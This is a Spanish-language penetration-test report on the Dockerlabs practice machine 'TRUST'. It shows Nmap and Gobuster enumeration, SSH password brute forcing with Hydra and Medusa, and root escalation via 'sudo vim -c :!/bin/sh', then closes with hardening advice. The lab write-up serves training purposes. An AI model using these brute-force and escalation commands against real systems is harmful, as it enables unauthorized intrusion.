Resumen Ejecutivo Este informe documenta el análisis de seguridad realizado en la máquina TRUST. Se identificaron y explotaron diversas vulnerabilidades para evaluar la seguridad del sistema.

Introducción

La máquina TRUST fue descargada de Dockerlabs y configurada en un entorno controlado para llevar a cabo pruebas de penetración y análisis de vulnerabilidades.

Metodología

1. **Preparación del Entorno:**
    - Descargamos y descomprimimos los archivos necesarios.
    - Dimos permisos de ejecución y desplegamos la máquina víctima.
2. **Conectividad:**
    - Comprobamos la conectividad mediante un ping a la IP de la máquina víctima.
3. **Escaneo de Puertos:**
    - Utilizamos Nmap para identificar puertos abiertos y servicios.
4. **Enumeración de Servicios:**
    - Usamos herramientas como WhatWeb y Gobuster para enumerar servicios y directorios.
5. **Fuerza Bruta:**
    - Realizamos ataques de fuerza bruta con Hydra y Medusa para obtener credenciales de acceso.
6. **Explotación:**
    - Establecimos una conexión SSH y escalamos privilegios usando técnicas documentadas en GTFObins.

Resultados Detallados

1. PREPARACION DEL ENTORNO

- Descargamos la máquina de Dockerlabs, descomprimimos los archivos y desplegamos la máquina con los siguientes comandos:

  chmod +x auto_deploy.sh bash auto_deploy.sh trust.tar

La descompresión nos generó dos archivos: auto_deploy.sh y trust.tar. 2. CONECTIVIDAD

```
Verificamos la conectividad con un ping:
```

ping -c1 172.17.0.2

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.226 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.226/0.226/0.226/0.000 ms
```

3. ESCANEO DE PUERTOS

   Ejecutamos un escaneo de puertos con Nmap:

   nmap -p- -Pn -sVCS --min-rate 5000 172.17.0.2

   Starting Nmap 7.94SVN (https://nmap.org) at 2024-05-21 11:34 EDT Nmap scan report for 172.17.0.2 Host is up (0.000042s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 80/tcp open http Apache httpd 2.4.57 ((Debian)) MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

https://imgur.com/ge3NdtM PUERTO 80

4.ENUMERACION DE SERVICIOS

```
Enumeramos servicios web con WhatWeb:
```

whatweb 172.17.0.2

http://172.17.0.2 [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Apache2 Debian Default Page: It works]

Descubrimos directorios con Gobuster:

gobuster dir -u http://172.17.0.2 -w /usr/share/dirb/wordlists/common.txt -x php,txt,html

```
/index.html           (Status: 200) [Size: 10701]
/secret.php           (Status: 200) [Size: 927]
```

https://imgur.com/DwfFbsY /secret.php

5. FUERZA BRUTA

   Realizamos un ataque de fuerza bruta con Hydra para obtener credenciales SSH:

   hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

[22][ssh] host: 172.17.0.2 login: mario password: chocolate 1 of 1 target successfully completed, 1 valid password found

También probamos con Medusa:

medusa -u mario -P /usr/share/wordlists/rockyou.txt -h 172.17.0.2 -M ssh

```
ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: mario Password: chocolate [SUCCESS]
```

6. EXPLOTACION Y POST-EXPLOTACION

Establecimos conexión SSH con las credenciales obtenidas:

ssh mario@172.17.0.2

mario@172.17.0.2's password: Linux a717d9111204 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-04-09) x86_64

Escalamos privilegios utilizando GTFObins:

https://imgur.com/YoVcTYJ GTFObins

sudo vim -c ':!/bin/sh'

whoami

```
root
```

RECOMENDACIONES

```
Actualización de Software:
    Mantener todos los servicios y sistemas operativos actualizados.

Configuración de Seguridad:
    Configurar políticas de seguridad más estrictas, especialmente para servicios como SSH.
    Implementar firewalls y sistemas de detección de intrusos.

Contraseñas Seguras:
    Usar contraseñas robustas y habilitar la autenticación multifactor.

Monitoreo y Auditoría:
    Implementar sistemas de monitoreo y auditoría continua para detectar y responder a amenazas en tiempo real.
```

Conclusión

El análisis de seguridad de la máquina TRUST reveló varias vulnerabilidades que podrían ser explotadas por atacantes. Se recomienda seguir las medidas de seguridad propuestas para mitigar estos riesgos.